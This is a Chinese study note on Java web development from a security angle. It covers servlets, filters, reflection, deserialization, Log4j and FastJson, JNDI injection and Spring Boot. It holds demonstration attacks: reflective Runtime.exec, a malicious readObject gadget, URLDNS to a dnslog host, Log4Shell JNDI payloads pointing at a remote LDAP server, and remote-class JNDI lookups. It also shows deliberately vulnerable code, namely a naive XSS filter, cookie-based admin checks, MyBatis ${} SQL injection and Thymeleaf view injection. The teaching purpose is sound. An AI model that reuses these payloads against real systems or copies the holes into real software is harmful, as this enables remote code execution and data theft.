0


JAVA开发(从安全角度学习)

Servlet

import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/a")//配置路由
public class IndexServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("--------------doGet");
        String id =req.getParameter("id");
        //resp.setContentType("utf-8");
        resp.setContentType("text/html");
        PrintWriter out = resp.getWriter();
        out.println("这是GET请求的数据:");
        out.println("id:"+id+"<br>");
        out.flush();
        out.close();
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        String name = req.getParameter("name");
        //resp.setContentType("utf-8");
        resp.setContentType("text/html");
        PrintWriter out = resp.getWriter();
        out.println("这是post提交的数据");
        out.println(name);
        out.flush();
        out.close();
        System.out.println("--------------doPost");

    }
//项目启动时执行,执行一些初始化servlet的操作

    @Override
    public void init(ServletConfig config) throws ServletException {
        System.out.println("--------------init");
    }
//项目结束时候执行,执行一些操作
    @Override
    public void destroy() {
        System.out.println("--------------destroy");
        super.destroy();
    }
//先输出Servlet service,再输出http service
    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("--------------http service");
        super.service(req, resp);
    }

    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        System.out.println("--------------Servlet service");
        super.service(req, res);
    }
}

** web.xml(第二种配置路由的方式)**

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <servlet>
        <servlet-name>IndexServlet</servlet-name>
        <servlet-class>com.example.servletdemo.IndexServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>IndexServlet</servlet-name>
        <url-pattern>/index</url-pattern>
    </servlet-mapping>

</web-app>

JDBC

使用预编译写法可以有效防止sql注入。

package com.example.servletdemo;

import java.sql.*;

public class NewsServlet{
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("com.mysql.jdbc.Driver");
        String url ="jdbc:mysql://localhost:3306/demo01";
        Connection connection = DriverManager.getConnection(url,"root","123456");
        System.out.println(connection);
        String sql="select * from news";
        //危险写法
        //String vulsql="select * from news where id="+id;
        //预编译写法
        String safesql="select * from news where id=?";
        System.out.println(sql);
        //危险函数
        Statement statement= connection.createStatement();
        //预编译写法
         Statement statement1=connection.prepareStatement(safesql);
        ResultSet resultSet = statement.executeQuery(sql);
        while (resultSet.next()){
            int id = resultSet.getInt("id");
            String page_title = resultSet.getString("page_title");
            String heading = resultSet.getString("heading");
            String subheading = resultSet.getString("subheading");
            String content = resultSet.getString("content");
            String img = resultSet.getString("img");
            System.out.println(id+"|"+page_title+"|"+heading+"|"+subheading+"|"+content+"|"+img);
        }
    }

}

过滤器(Filter)

Filter被称为过滤器,过滤器实际上就是对Web资源进行拦截,做一些处理后再交给下一个过滤器或Servlet处理,通常都是用来拦截request进行处理的,也可以对返回的 response进行拦截处理。开发人员利用filter技术,可以实现对所有Web资源的管理,例如实现权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。

xss过滤

一个简单servlet,功能就是用户输入参数code的值,然后页面显示该值;显而易见,我们不对用户输入的值做过滤的化很容易造成xss漏洞。所以我们可以使用过滤器对用户的输入值进行过滤。

核心就是触发url路由后先执行filter中的doFilter,如果放行的话才会执行servlet中doget放法。

package com.example.filterdemo1.servlet;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/test")
public class TestServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String code =req.getParameter("code");
        PrintWriter out = resp.getWriter();
        out.println(code);
        out.flush();
        out.close();
    }
}

** xssFilter**

package com.example.filterdemo1.filter;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
//过滤器需要配置路由信息
@WebFilter("/test")
public class XssFilter implements Filter {
    @Override
    //中间件启动后就自动运行
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("xss开启过滤");
    }

    @Override
    //中间件关闭后就自动运行
    public void destroy() {
        System.out.println("xss销毁过滤");
    }

    @Override
    //doFilter 访问路由触发的方法
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("xss正在过滤");
        //过滤代码就应该在放行前
        //如果符合就放行,不符合就过滤(拦截)
        //XSS过滤 接受参数值 如果有攻击payload 就进行拦截
        // 接受参数值 如果没有攻击payload 就进行放行
        HttpServletRequest request= (HttpServletRequest) servletRequest;
        String code = request.getParameter("code");
        if(!code.contains("<script>")){ //没有攻击payload
            //放行
            filterChain.doFilter(servletRequest,servletResponse);
        }else{
            System.out.println("存在XSS攻击");
            //继续拦截
        }

    }
}

admin过滤

package com.example.filterdemo1.servlet;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/admin")
public class AdminServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("欢迎进入管理员页面");
    }
}
package com.example.filterdemo1.filter;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@WebFilter("/admin")
public class AdminFileter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("admin身份检测开启");
    }

    @Override
    public void destroy() {
        System.out.println("admin身份检测销毁");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

        System.out.println("admin身份检测进行");
        //检测Cookie过滤
        HttpServletRequest request= (HttpServletRequest) servletRequest;
        Cookie[] cookies=request.getCookies();
        //对Cookie进行遍历获取
        for(Cookie c:cookies){
            String cName = c.getName();//获取cookie名
            String cValue = c.getValue();//获取cookie值
            System.out.println(cName);
            System.out.println(cValue);
            if(cName.contains("user") && cValue.contains("admin")){
                filterChain.doFilter(servletRequest,servletResponse);
            }else {
                System.out.println("非管理员访问");
            }
        }

    }
}

监听器(Listener)

package com.example.listendemo1.Servlet;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.IOException;

@WebServlet("/cs")
public class CSession extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("Servlet里面创建Session");
        //创建Session
        req.getSession();
    }
}
package com.example.listendemo1.Servlet;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/ds")
public class DSession extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("Servlet里面销毁Session");
        //销毁Session
        req.getSession().invalidate();
    }
}

监听器

package com.example.listendemo1.listener;

import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
//监听器是不需要路由的,当有session创建时他会自动监测到
@WebListener
public class SessionListener implements HttpSessionListener {

    @Override
    public void sessionCreated(HttpSessionEvent se) {
        //监听检测有Session创建就会执行这里
        System.out.println("监听器监听到了session创建");
    }

    @Override
    public void sessionDestroyed(HttpSessionEvent se) {
        //监听检测有Session销毁就会执行这里
        System.out.println("监听器监听到了session销毁");
    }
}

内存马会用到这些监听器和过滤器

反射

一个简单的user类,包含一些成员变量、构造方法、成员方法

package com.example.reflectdemo1;

public class User {
    //成员变量
    public String name="xxxxx";
    public int age = 31;
    private String gender="man";
    protected String job="sec";

    //构造方法
    public User(){
        //System.out.println("无参数");
    }

    public User(String name){
        System.out.println("我的名字"+name);
    }

    private User(String name,int age){
        System.out.println(name);
        System.out.println(age);
    }

    protected User(String name,int age,String gender){
        System.out.println();
    }

    //成员方法
    public void userinfo(String name,int age,String gender,String job){
        this.job=job;
        this.age=age;
        this.name = name;
        this.gender=gender;
    }

    protected void users(String name,String gender){
        this.name = name;
        this.gender=gender;
        System.out.println("users成员方法:"+name);
        System.out.println("users成员方法:"+gender);
    }

    private void user1(){

    }
}

Class对象类获取

package com.example.reflectdemo1;

public class GetClass {
    public static void main(String[] args) throws ClassNotFoundException {
        //1、根据全限定类名:Class.forName("全路径类名")
        Class aClass = Class.forName("com.example.reflectdemo1.User");
        System.out.println(aClass);

        //2、根据类名:类名.class
        Class userClass = User.class;
        System.out.println(userClass);

        //3、根据对象:对象.getClass()
        User user= new User();
        Class aClass1 = user.getClass();
        System.out.println(aClass1);

        //4、通过类加载器获得Class对象://ClassLoader.getSystemClassLoader().loadClass("全路径类名");
        ClassLoader clsload=ClassLoader.getSystemClassLoader();
        Class aClass2 = clsload.loadClass("com.example.reflectdemo1.User");
        System.out.println(aClass2);

    }
}
//结果:class com.example.reflectdemo1.User

Method成员方法获取

package com.example.reflectdemo1;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class GetMethod {
    public static void main(String[] args) throws Exception {
        Class aClass = Class.forName("com.example.reflectdemo1.User");
       // //获取包括继承的公共成员方法 只有public
       // Method[] methods = aClass.getMethods();
       // for(Method me:methods){
       //     System.out.println(me);
       // }

        //获取不包括继承的所有成员方法 包括private
       Method[] methods = aClass.getDeclaredMethods();
       for(Method me:methods){
           System.out.println(me);
       }

        //获取单个的成员方法
//        Method users = aClass.getDeclaredMethod("users", String.class,String.class);
//        System.out.println(users);

        //invoke对成员方法进行执行 不包括privats的
//        User u = new User();
//        Method users = aClass.getDeclaredMethod("users", String.class,String.class);
//        users.invoke(u,"xiaodigay","gay1");

        //private的执行
        User u = new User();
       Method users = aClass.getDeclaredMethod("users", String.class,String.class);
        //私有需要开启临时
        users.setAccessible(true);
       users.invoke(u,"xiaodigay","gay1");

    }
}

Field成员变量获取

package com.example.reflectdemo1;

import java.lang.reflect.Field;

public class GetFiled {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Class aClass = Class.forName("com.example.reflectdemo1.User");

        //获取公共的成员变量
       // Field[] fields = aClass.getFields();
       // for(Field fd:fields){
       //     System.out.println(fd);
       // }

        //获取所有的成员变量
       // Field[] fields = aClass.getDeclaredFields();
       // for(Field fd:fields){
       //     System.out.println(fd);
       // }

       //获取单个的公共成员变量
       Field name = aClass.getField("name");
       System.out.println(name);
//
//        //获取单个的成员变量
//        Field gender = aClass.getDeclaredField("gender");
//        System.out.println(gender);

        //获取公共的成员变量age的值
        // User u = new User();
        // Field field=aClass.getField("age");
        //
        // //取值
        // Object a=field.get(u);
        // System.out.println(a);
        //
        // //赋值
        // field.set(u,32);
        // Object aa=field.get(u);
        // System.out.println(aa);
    }
}

Constructor构造方法获取

package com.example.reflectdemo1;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
//newInstance会执行构造方法
public class GetConstructor {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Class aClass = Class.forName("com.example.reflectdemo1.User");
        //获取公共的构造方法
//        Constructor[] constructors = aClass.getConstructors();
//        for (Constructor con:constructors){
//            System.out.println(con);
//        }

        //获取所有的构造方法
//        Constructor[] constructors = aClass.getDeclaredConstructors();
//        for (Constructor con:constructors){
//            System.out.println(con);
//        }

        //获取单个的公共的构造方法
//        Constructor constructor = aClass.getConstructor(String.class);
//        System.out.println(constructor);
//
//        //获取单个的构造方法
//        Constructor con1 = aClass.getDeclaredConstructor(String.class,int.class);
//        System.out.println(con1);

        //对构造方法进行操作(两个参数string,int)
//        Constructor con2=aClass.getDeclaredConstructor(String.class,int.class);
//        //临时开启对私有的访问
//        con2.setAccessible(true);
//        User uu=(User) con2.newInstance("xiaodigaygay",40);
        //System.out.println(uu);

        //对构造方法进行执行(1个参数strin)
//        Constructor con2=aClass.getConstructor(String.class);
//        con2.newInstance("xiaodigaygay");

    }
}

不安全命令执行

package com.example.reflectdemo1;

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class GetRunExec {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        //原生调用 JDK自带的rt.jar
        //Runtime.getRuntime().exec("calc");

        //如果是第三方的jar包呢
        Class aClass = Class.forName("java.lang.Runtime");
        //获取所有公共包括继承的成员方法
//        Method[] methods = aClass.getMethods();
//        for(Method me:methods){
//            System.out.println(me);
//        }
        //获取exec成员方法
        Method exec = aClass.getMethod("exec", String.class);
        //获取getRuntime成员方法
        Method getRuntimeMethod = aClass.getMethod("getRuntime");
        //执行
        System.out.println(aClass);
        Object runtime = getRuntimeMethod.invoke(aClass);//invoke正常的参数是对象类型,如果方法是静态,参数可以是类或者null
        exec.invoke(runtime, "calc.exe");
        
    }
}

序列化&反序列化

序列化:将内存中的对象压缩成字节流

反序列化:将字节流转换成内存中的对象

该模块的设计就是为了传输和存储数据;当两个进程进行通信的时候,可以通过序列化对象进行传输;想要保存对象数据时候也可通过序列化永久的保存到硬盘上。

序列化/反序列化协议:

  • java内置的writeObject()/readObject()
  • java内置的XMLDecoder()/XMLEncoder
  • XStream
  • SnakeYaml
  • FastJson
  • Jackson

反序列化安全问题:

  • 重写readObject方法
  • 输出new的对象调用toString方法

源码:

安全问题就在于toString()和readObject()方法的重写。

package com.example.seriatestdemo;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class UserDemo implements Serializable {

    public String name="xiaodi";
    public String gender="man";
    public Integer age=30;

    public UserDemo(){

    }
    public UserDemo(String name,String gender,Integer age){
        this.name=name;
        this.gender=gender;
        this.age = age;
        System.out.println(name);
        System.out.println(gender);
    }
    //当new一个对象(new UserDemo()),然后输出对象就会执行toString方法;该方法的返回值格式就是对象的输出结果格式
    public String toString() {

        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }

        return "User{" +
                "name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", age=" + age +
                '}';

    }
    //重写readObject方法,当反序列时候就会执行该重写的方法(反序列化调用的函数就是ObjectInputStream下的readObject方法)
   private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
       //指向正确readObject  如果没有的话就只会弹出计算器;无法正常还原出值
       ois.defaultReadObject();//相当于就是执行了原始的readObject()方法,可以反序列化出其值;如果不执行该语句那么返回的变量值都是null
       Runtime.getRuntime().exec("calc");
   }
   
}

** 序列化:**

package com.example.seriatestdemo;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializableDemo {
    public static void main(String[] args) throws IOException {
        //创建一个UserDemo对象
        UserDemo u = new UserDemo("xdsec","gay1",30);
        System.out.println(u);//此时就会调用toString方法
        //调用方法进行序列化
        SerializableTest(u);
        //ser.txt 就是对象u 序列化的字节流数据
    }

    public static void SerializableTest(Object obj) throws IOException {
        //FileOutputStream() 输出文件
        //将对象obj序列化后输出到文件ser.txt
        ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));
        oos.writeObject(obj);

    }

}

** 反序列化:**

package com.example.seriatestdemo;

import java.io.*;

public class UnserializableDemo {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //调用下面的方法 传输ser.txt 解析还原反序列化
        Object obj =UnserializableTest("ser.txt");

        //对obj对象进行输出 默认调用原始对象的toString方法
        System.out.println(obj);
    }

    public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
        //读取Filename文件进行反序列化还原
        ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
        Object o = ois.readObject();//调用readObject方法反序列化,会返回一个UserDemo对象 反序列化的安全问题就在于此,如果我们在UserDemo中重写了readObject方法,那么就会调用我们重写的方法
        return o;
    }
}

HashMap中有readObject()方法,所以我们如果对该类反序列化就会执行其中的resdObject方法。

package com.example.seriatestdemo;

import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class UrLDns implements Serializable {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //正常代码中 创建对象HashMap

        //用到原生态readObject方法去反序列化数据
        //readObject 在ObjectInputSteam 本来在这里
        //HashMap也有readObject方法

        //反序列化readObject方法调用 HashMap里面的readObject
        //执行链:
        //序列化对象hash 来源于自带类HashMap
//         *   Gadget Chain:
//                *   HashMap.readObject()
//                *       HashMap.putVal()
//                *         HashMap.hash()
//                *           URL.hashCode()
        //hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞

        HashMap<URL,Integer> hash = new HashMap<>();
        URL u=new URL("http://dmo1e2.dnslog.cn");
       hash.put(u,1);

        SerializableTest(hash);
        UnserializableTest("dns.txt");

    }

    public static void SerializableTest(Object obj) throws IOException {
        //FileOutputStream() 输出文件
        //将对象obj序列化后输出到文件ser.txt
        ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("dns.txt"));
        oos.writeObject(obj);

    }

    public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
        //读取Filename文件进行反序列化还原
        ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
        Object o = ois.readObject();
        return o;
    }

}

第三方组件

第三方组件都需要在jar仓库中下载或者使用maven引用。

Log4j

Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

package com.example.log4jwebdemo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {
    //构造HTTP Web服务 使用带漏洞Log4j版本 实现功能
    private static final Logger log= LogManager.getLogger(Log4jServlet.class);
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String code =req.getParameter("code");
        //code=${java:os} 输出执行结果
        //code={java:os} 正常输入
        //${jndi:ldap://192.168.1.3:1389/xkfp8e}
        //${jndi:ldap://xxxx.dns.log}
        log.error("{}",code);

        //1、开发源码中引用漏洞组件如log4j
        //2、开发中使用组件的代码(触发漏洞代码)
        //3、可控变量去传递Payload来实现攻击
    }
}

上述如果日志输出信息code是我们可控的,那么我们就可以使用jndi注入。(利用jndi注入工具生成payload)

payload:

${jndi:ldap://192.168.1.3:1389/xkfp8e}

FastJson

在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。

package com.xiaodi;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

//使用fastjson去处理User类数据
public class FastjsonTest {
    public static void main(String[] args) {
        //u Object对象
        //Integer age String name 字符串数据
        User u = new User();
        u.setAge(30);
        u.setName("xiaodi");
         System.out.println(u);

        //我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
        //我就选择第三方组件fastjson来去做这个功能
        //讲json对象转换json数据
        String jsonString = JSONObject.toJSONString(u);
        System.out.println("这就是json格式:"+jsonString);

       //分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个@type 转换对象类包
        String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);
        System.out.println(jsonString1);

        //上述对象 -> JSON

        //下面JSON -> 对象

        String test = "{\"@type\":\"com.xiaodi.User\",\"age\":30,\"name\":\"xiaodi\"}";
        //String test = "{\"@type\":\"com.xiaodi.Run\",\"age\":30,\"name\":\"xiaodi\"}";

        //实战中com.xiaodi.Run 我们不知道 固定调用
        //rmi ldap 去触发远程的class 执行代码(RCE)

        JSONObject jsonObject = JSON.parseObject(test);//会调用test中的@type后面类中的构造方法,相当于是创建了一个对象
        System.out.println(jsonObject);

    }

}

安全问题就在于parseObject实现对json数据解析成对象;此时我们就可以利用执行远程class文件。

JNDI注入

JNDI:全称为 JavaNaming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

RMI:远程方法调用注册表

LDAP:轻量级目录访问协议

jndi注入就相当于远程执行了一个class文件。

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
        initialContext.lookup(uri);//获取指定的远程对象
    }
}

核心就是调用new InitialContext().lookup()方法,执行远程的class文件

在RMI服务中调用new InitialContext().lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()

com.sun.rowset.JdbcRowSetImpl.execute()

javax.management.remote.rmi.RMIConnector.connect()

org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了 new InitialContext().lookup()的类有:

InitialDirContext.lookup()

SpringLdapTemplate.lookup()

LdapTemplate.lookupContext()

至于上面我们提到的RME和LDAP服务,我们利用工具直接生成链接(即lookup()的参数)。

工具1:JNDI-Injection-Exploit-1.0-SNAPSHOT-all

工具2: marshalsec-0.0.3-SNAPSHOT-all.jar

  1. 首先我们先自己编写一个java文件(Test.java),实现我们要执行的命令。
  2. 然后编译java文件(javac Test.java),就会生成一个Test.class
  3. 把Test.class文件放在访问路径
  4. 使用工具生成调用协议。(见下方图)

Test.java

import java.io.IOException;

public class Test {
    public Test() throws IOException {
        Runtime.getRuntime().exec("notepad");//弹出笔记本
    }
}

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "ldap://192.168.1.6:1389/Test";
        InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
        initialContext.lookup(uri);//获取指定的远程对象
    }
}

最后成功弹出记事本。

注意:

上面那些方法都是与jdk版本有直接关系的,jdk版本高了不一定会执行;相比之下第二种工具的适用范围更广。

//RMI marshalsec工具
//JDK 17版本 无法调用
//11版本无法调用
// 8u362 无法执行
// 8U112 可以

//RMI jndi-inject工具
//JDK 17版本 无法调用
//11版本无法调用
// 8u362 无法执行
// 8U112 可以

//LDAP - marshalsec工具
//JDK 17
// 11版本
// 8u362
// 8U112 都可以

//LDAP - jndi-inject工具
//JDK 17版本 无法调用
//11版本无法调用
// 8u362 无法执行
// 8U112 可以

Springboot

参考:https://springdoc.cn/spring-boot/

package cn.xiaodisec.springboottest.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;

@RestController//该注解相当于是@Controller +@ResponseBody合在一起
public class IndexController {

    //指定GET请求的访问路由
    @RequestMapping(value = "/xiaodiget",method = RequestMethod.GET)
    //@GetMapping(value = "/xiaodiget")
    public String getindex(){
        return "get test";
    }//return即返回值 是因为上面写的是@RestController;如果只是一个@Controller,则不可以

    //指定POST请求的访问路由
    @RequestMapping(value = "/xiaodipost",method = RequestMethod.POST)
    //@PostMapping(value = "/xiaodipost")
    public String getpost(){
        return "post test";
    }

    //指定GET请求的访问路由 带参数名name
    @RequestMapping(value = "/xiaodiget_g",method = RequestMethod.GET)
    //@GetMapping(value = "/xiaodiget")
    public String get_g(@RequestParam String name){
        return "get test"+name;
    }

    //指定POST请求的访问路由 带参数名name
    @RequestMapping(value = "/xiaodiget_g",method = RequestMethod.POST)
    //@GetMapping(value = "/xiaodiget_g")

    public String get_p(@RequestParam String name){
        return "post test"+name;
    }

}

springboot操作数据库(mybatis)

思路:

  1. 首先我们创建项目的时候勾选mysql和mybatis,因为这样pom.xml会自动引入依赖,无须我们添加。
  2. 配置数据库连接信息(application.yml)
  3. 创建实体类(entity包下),通常就是数据库中的属性。(属性 get set方法)
  4. 创建mapper动态接口代理类实现(mapper包下)
  5. 创建controller实现web访问。

** application.yml:**

spring:
  datasource:
    url: jdbc:mysql://localhost:3306/demo01
    username: root
    password: 123456
    driver-class-name: com.mysql.cj.jdbc.Driver

实体类(根据自己的数据库信息修改)

package com.example.springbootmybatils.entity;

public class User {
    private Integer id;
    private String username;
    private String password;

    public Integer getId() {
        return id;
    }

    public void setId(Integer id) {
        this.id = id;
    }

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    @Override
    public String toString() {
        return "User{" +
                "id=" + id +
                ", username='" + username + '\'' +
                ", password='" + password + '\'' +
                '}';
    }
}

动态接口类:

package com.example.springbootmybatils.mapper;

import com.example.springbootmybatils.entity.User;
import org.apache.ibatis.annotations.Insert;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Select;

import java.util.List;

@Mapper
public interface UserMapper {
    @Select("select * from admin where id like '%${id}%'")
    public List<User> findAll(Integer id);

    @Select("select * from admin where id=1")
    public List<User> findID();
}

controller包

package com.example.springbootmybatils.controller;

import com.example.springbootmybatils.entity.User;
import com.example.springbootmybatils.mapper.UserMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.util.List;

@RestController
public class GetadminController {

    @Autowired
    private UserMapper UserMapper;

    @GetMapping("/getadmin")
    public List<User> getadmindata(@RequestParam Integer id){
        List<User> all = UserMapper.findAll(id);
        return all;
    }

    @GetMapping("/getid")
    public List<User> getadminid(){
        List<User> all = UserMapper.findID();
        return all;
    }

}

Thymeleaf模板

我们创建springboot项目之后,可以选择thymeleaf模板

package cn.xiaodisec.thyremeafdemo.controller;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@Controller
public class ThyremeafController {
//    @RequestMapping(value = "/")
//    public String index(Model model) {
//        model.addAttribute("data","hello xiaodi");
//        //@RestController ResponseBody index当做字符串显示操作
//        //Controller 没有ResponseBody index当做资源文件去渲染
//        return "index";
//    }

    @RequestMapping(value = "/test")
    public String index() {
        //@RestController ResponseBody index当做字符串显示操作
        //Controller 没有ResponseBody index当做资源文件去渲染
        return "test";
    }

    @RequestMapping(value = "/")
    public String index(@RequestParam String lang) {
        //@RestController ResponseBody index当做字符串显示操作
        //Controller 没有ResponseBody index当做资源文件去渲染
        return lang; //lang=en index-en
    }

}

漏洞成因大概就是根据用户参数可选择不同的页面;如果参数是一段恶意代码,那么就会执行该代码。

Springboot监控系统——Actuator

SpringBoot Actuator模块提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP跟踪等,帮助我们监控和管理Spring Boot应用。

使用:

actuator我们可以直接创建项目的时候选,也可以直接在pom.xml中添加依赖。然后就是配置信息,最后直接在url中访问/actuator等。(下面能否访问取决于我们的配置)

** 安全问题**

heapdump泄露:当配置不当我们可以访问heapdump时,此文件会自动下载;我们可以使用jdk自带的jvisualvm和提取器JDumpSpider两款工具进行敏感信息的提取。

主要就是获取更多的信息,比如通过监控我们可以发现更多的配置信息(组件、账号、密码等到),通过我们获取到的信息再去分析对应组件、对应功能可能存在的漏洞。

安全配置

management.endpoint.env.enabled=false

management.endpoint.heapdump.enabled=false

Springboot监控系统——swagger

Swagger是当下比较流行的实时接口文档生成工具。接口文档是当前前后端分离项目中必不可少的工具,在前后端开发之前,后端要先出接口文档,前端根据接口文档来进行项目的开发,双方开发结束后在进行联调测试。

使用

​​​​​​​ 1.导入依赖

<--2.9.2版本-->

<dependency>
<groupId>io.springfox</groupId>

<artifactId>springfox-swagger2</artifactId>

<version>2.9.2</version>
</dependency> <dependency>
<groupId>io.springfox</groupId>

<artifactId>springfox-swagger-ui</artifactId>

<version>2.9.2</version>
</dependency>

<--3.0.0版本-->

<dependency>

<groupId>io.springfox</groupId>

<artifactId>springfox-boot-starter</artifactId>

<version>3.0.0</version>

</dependency>
    2.配置访问

#application.properties

spring.mvc.pathmatch.matching-strategy=ant-path-matcher

#application.yml

spring

mvc:

pathmatch:

  matching-strategy: ant_path_matcher
